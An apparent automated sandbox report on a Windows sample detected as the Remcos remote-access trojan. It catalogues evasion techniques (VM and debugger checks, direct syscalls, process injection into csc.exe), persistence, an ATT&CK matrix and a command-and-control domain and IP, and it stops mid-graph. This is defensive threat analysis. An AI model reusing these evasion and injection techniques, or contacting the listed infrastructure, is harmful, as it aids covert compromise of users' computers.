              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00412630 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,0_2_00412630
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00478ECF IsIconic,GetWindowPlacement,GetWindowRect,0_2_00478ECF
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Yara detected AntiVM3
              Source: Yara matchFile source: Process Memory Space: csc.exe PID: 7716, type: MEMORYSTR
              Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeMemory allocated: 5770000 memory reserve | memory write watchJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeMemory allocated: 76B0000 memory reserve | memory write watchJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeMemory allocated: 58D0000 memory reserve | memory write watchJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeThread delayed: delay time: 342000Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeThread delayed: delay time: 544656Jump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeDropped PE file which has not been started: C:\Users\user\Videos\OrionLegacy\Bin\OrionLegacyCLI.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeDropped PE file which has not been started: C:\Users\user\Favorites\HardDiskSentine\redist\HardDiskSentinelBin.exeJump to dropped file
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeAPI coverage: 0.1 %
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe TID: 7764Thread sleep time: -1844674407370954s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe TID: 7764Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe TID: 744Thread sleep count: 199 > 30Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe TID: 7720Thread sleep time: -342000s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe TID: 7764Thread sleep time: -544656s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exe TID: 8104Thread sleep count: 155 > 30Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exe TID: 8104Thread sleep time: -77500s >= -30000sJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_0045E300 GetSystemTimeAsFileTime,GetModuleFileNameA,lstrcpyA,GetUserNameA,lstrcpyA,GetSystemInfo,GlobalMemoryStatus,0_2_0045E300
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeThread delayed: delay time: 60000Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeThread delayed: delay time: 342000Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeThread delayed: delay time: 544656Jump to behavior
              Source: csc.exe, 00000003.00000003.1794277108.0000000008D23000.00000004.00000800.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000002.2057015971.000000000F520000.00000004.00001000.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000000.1792904857.0000000000401000.00000020.00000001.01000000.00000008.sdmp, HardDiskSentinelBin.exe.4.drBinary or memory string: /COMPAQEMU
              Source: dzocgvabs.exe, 00000007.00000003.2493856126.0000000009DA1000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: csc.exe, 00000003.00000002.3257664529.0000000009BF0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

              Anti Debugging

              barindex
              Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSystem information queried: CodeIntegrityInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeSystem information queried: KernelDebuggerInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeCode function: 3_2_07472B32 LdrInitializeThunk,3_2_07472B32
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_0045ECD0 EnterCriticalSection,IsDebuggerPresent,DebugBreak,GetLocalTime,CreateFileA,LeaveCriticalSection,SetFilePointer,GetCurrentThreadId,GetCurrentThreadId,WriteFile,WriteFile,WriteFile,CloseHandle,LeaveCriticalSection,0_2_0045ECD0
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeMemory allocated: page read and write | page guardJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Allocates memory in foreign processes
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 5250000 protect: page execute and read and writeJump to behavior
              Contains functionality to prevent local Windows debugging
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_0045ECD0 EnterCriticalSection,IsDebuggerPresent,DebugBreak,GetLocalTime,CreateFileA,LeaveCriticalSection,SetFilePointer,GetCurrentThreadId,GetCurrentThreadId,WriteFile,WriteFile,WriteFile,CloseHandle,LeaveCriticalSection,0_2_0045ECD0
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_0045EED0 IsDebuggerPresent,DebugBreak,EnterCriticalSection,LeaveCriticalSection,0_2_0045EED0
              Found direct / indirect Syscall (likely to bypass EDR)
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtQuerySystemInformation: Direct from: 0x7FFB2CEA4B5EJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtSetTimerEx: Direct from: 0x77757B2EJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtOpenKeyEx: Direct from: 0x7FFB2CECF3F4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtNotifyChangeKey: Direct from: 0x7FFB2CECF314Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtQueueApcThread: Direct from: 0x7FFB2CECD8A4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtQueryAttributesFile: Direct from: 0x7FFB2CECD7A4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtSetInformationThread: Direct from: 0x777563F9Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtCreateFile: Direct from: 0x7FFB2CECDAA4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtQueryValueKey: Direct from: 0x7FFB2CECD2E4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtResumeThread: Direct from: 0x7FFB2CECDA44Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtClose: Direct from: 0x7FFB2CECD1E4
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtQueryVolumeInformationFile: Direct from: 0x7FFB2CECD924Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtCreateThreadEx: Direct from: 0x7FFB2CECE814Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtQuerySystemInformation: Direct from: 0x7FFB2CECD6C4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtCreateKey: Direct from: 0x7FFB2CECD3A4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtOpenSection: Direct from: 0x7FFB2CECD6E4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtProtectVirtualMemory: Direct from: 0x7FFB2CECDA04Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtSetTimerEx: Direct from: 0x7FFB2CED05D4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtSetInformationThread: Direct from: 0x7FFB2CECD1A4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtSetInformationFile: Direct from: 0x7FFB2CECD4E4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtQuerySystemInformation: Direct from: 0x777563E1Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtSetValueKey: Direct from: 0x7FFB2CECDBF4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtEnumerateValueKey: Direct from: 0x7FFB2CECD264Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtSetInformationProcess: Direct from: 0x7FFB2CECD384Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtSetSecurityObject: Direct from: 0x7FFB2CED04D4Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtMapViewOfSection: Direct from: 0x7FFB2CECD504Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtAllocateVirtualMemory: Direct from: 0x7FFB2CECD304Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtEnumerateKey: Direct from: 0x7FFB2CECD644Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtQueryInformationToken: Direct from: 0x7FFB2CECD424Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtUnmapViewOfSection: Direct from: 0x7FFB2CECD544Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtQueryInformationProcess: Direct from: 0x7FFB2CECD324Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtOpenFile: Direct from: 0x7FFB2CECD664Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtCreateMutant: Direct from: 0x7FFB2CECE654Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeNtOpenKey: Direct from: 0x7FFB2CECD244Jump to behavior
              Injects a PE file into a foreign processes
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 5250000 value starts with: 4D5AJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\dzocgvabs.exeMemory written: C:\Users\user\AppData\Local\Temp\dzocgvabs.exe base: D0000 value starts with: 4D5AJump to behavior
              Writes to foreign memory regions
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 5250000Jump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 4E91008Jump to behavior
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D8F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program ManagerE
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D8F000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D99000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000003.2493856126.0000000009D88000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Manager
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D8F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Managerk
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D8F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Managerr|
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D8F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program ManagerX
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D8F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Managertdesk
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D99000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program ManagerO+h
              Source: dzocgvabs.exe, 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager573ef1
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D8F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Manager;9
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D8F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Managerk9
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D7E000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
              Source: dzocgvabs.exe, 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [2024/12/12 11:40:22 Program Manager]
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: GetThreadLocale,GetLocaleInfoA,GetACP,0_2_00412430
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: GetLocaleInfoA,0_2_00490D7C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_0045F0B0 EnterCriticalSection,GetCurrentThread,SetThreadPriority,CreateFileA,LeaveCriticalSection,SetFilePointer,GetLocalTime,GetCurrentThreadId,GetCurrentThreadId,GetCurrentProcess,GetCurrentProcess,CloseHandle,LeaveCriticalSection,0_2_0045F0B0
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_0045E300 GetSystemTimeAsFileTime,GetModuleFileNameA,lstrcpyA,GetUserNameA,lstrcpyA,GetSystemInfo,GlobalMemoryStatus,0_2_0045E300
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00487BC0 _strlen,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,0_2_00487BC0
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_004830CF EntryPoint,GetVersionExA,GetModuleHandleA,0_2_004830CF
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

              Stealing of Sensitive Information

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: dzocgvabs.exe PID: 7884, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: dzocgvabs.exe PID: 8076, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: dzocgvabs.exe PID: 7884, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: dzocgvabs.exe PID: 8076, type: MEMORYSTR
              Source: C:\Users\user\Desktop\pPLwX9wSrD.exeCode function: 0_2_00462680 socket,WSAGetLastError,htonl,htons,bind,WSAGetLastError,inet_addr,GetLastError,listen,WSAGetLastError,WSACreateEvent,WSAEventSelect,0_2_00462680

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity InformationAcquire InfrastructureValid Accounts131
              Windows Management Instrumentation              		1
              DLL Side-Loading              		1
              Abuse Elevation Control Mechanism              		11
              Disable or Modify Tools              		111
              Input Capture              		2
              System Time Discovery              		Remote Services12
              Archive Collected Data              		1
              Ingress Tool Transfer              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault Accounts11
              Scheduled Task/Job              		12
              Windows Service              		1
              DLL Side-Loading              		11
              Deobfuscate/Decode Files or Information              		LSASS Memory1
              Account Discovery              		Remote Desktop Protocol111
              Input Capture              		11
              Encrypted Channel              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts11
              Service Execution              		11
              Scheduled Task/Job              		12
              Windows Service              		1
              Abuse Elevation Control Mechanism              		Security Account Manager136
              System Information Discovery              		SMB/Windows Admin SharesData from Network Shared Drive1
              Non-Standard Port              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCron11
              Registry Run Keys / Startup Folder              		42
              Process Injection              		2
              Obfuscated Files or Information              		NTDS241
              Security Software Discovery              		Distributed Component Object ModelInput Capture2
              Non-Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script11
              Scheduled Task/Job              		2
              Software Packing              		LSA Secrets1
              Process Discovery              		SSHKeylogging13
              Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts11
              Registry Run Keys / Startup Folder              		1
              DLL Side-Loading              		Cached Domain Credentials251
              Virtualization/Sandbox Evasion              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
              Masquerading              		DCSync1
              Application Window Discovery              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job251
              Virtualization/Sandbox Evasion              		Proc Filesystem1
              System Owner/User Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt42
              Process Injection              		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1573894 Sample: pPLwX9wSrD.exe Startdate: 12/12/2024 Architecture: WINDOWS Score: 100 26 newstaticfreepoint24.ddns-ip.net 2->26 28 s3-w.us-east-1.amazonaws.com 2->28 30 5 other IPs or domains 2->30 40 Suricata IDS alerts for network traffic 2->40 42 Found malware configuration 2->42 44 Malicious sample detected (through community Yara rule) 2->44 46 10 other signatures 2->46 7 pPLwX9wSrD.exe 1 3 2->7         started        11 dzocgvabs.exe 1 3 2->11         started        signatures3 process4 file5 20 C:\Users\user\Videos\...\OrionLegacyCLI.exe, PE32 7->20 dropped 48 Creates multiple autostart registry keys 7->48 50 Writes to foreign memory regions 7->50 52 Allocates memory in foreign processes 7->52 54 Contains functionality to prevent local Windows debugging 7->54 13 csc.exe 16 3 7->13         started        22 C:\Users\user\...\HardDiskSentinelBin.exe, PE32 11->22 dropped 56 Drops large PE files 11->56 58 Injects a PE file into a foreign processes 11->58 18 dzocgvabs.exe 3 16 11->18         started        signatures6 process7 dnsIp8 32 newstaticfreepoint24.ddns-ip.net 181.131.217.244, 1842, 30203, 49758 EPMTelecomunicacionesSAESPCO Colombia 13->32 34 bitbucket.org 185.166.143.50, 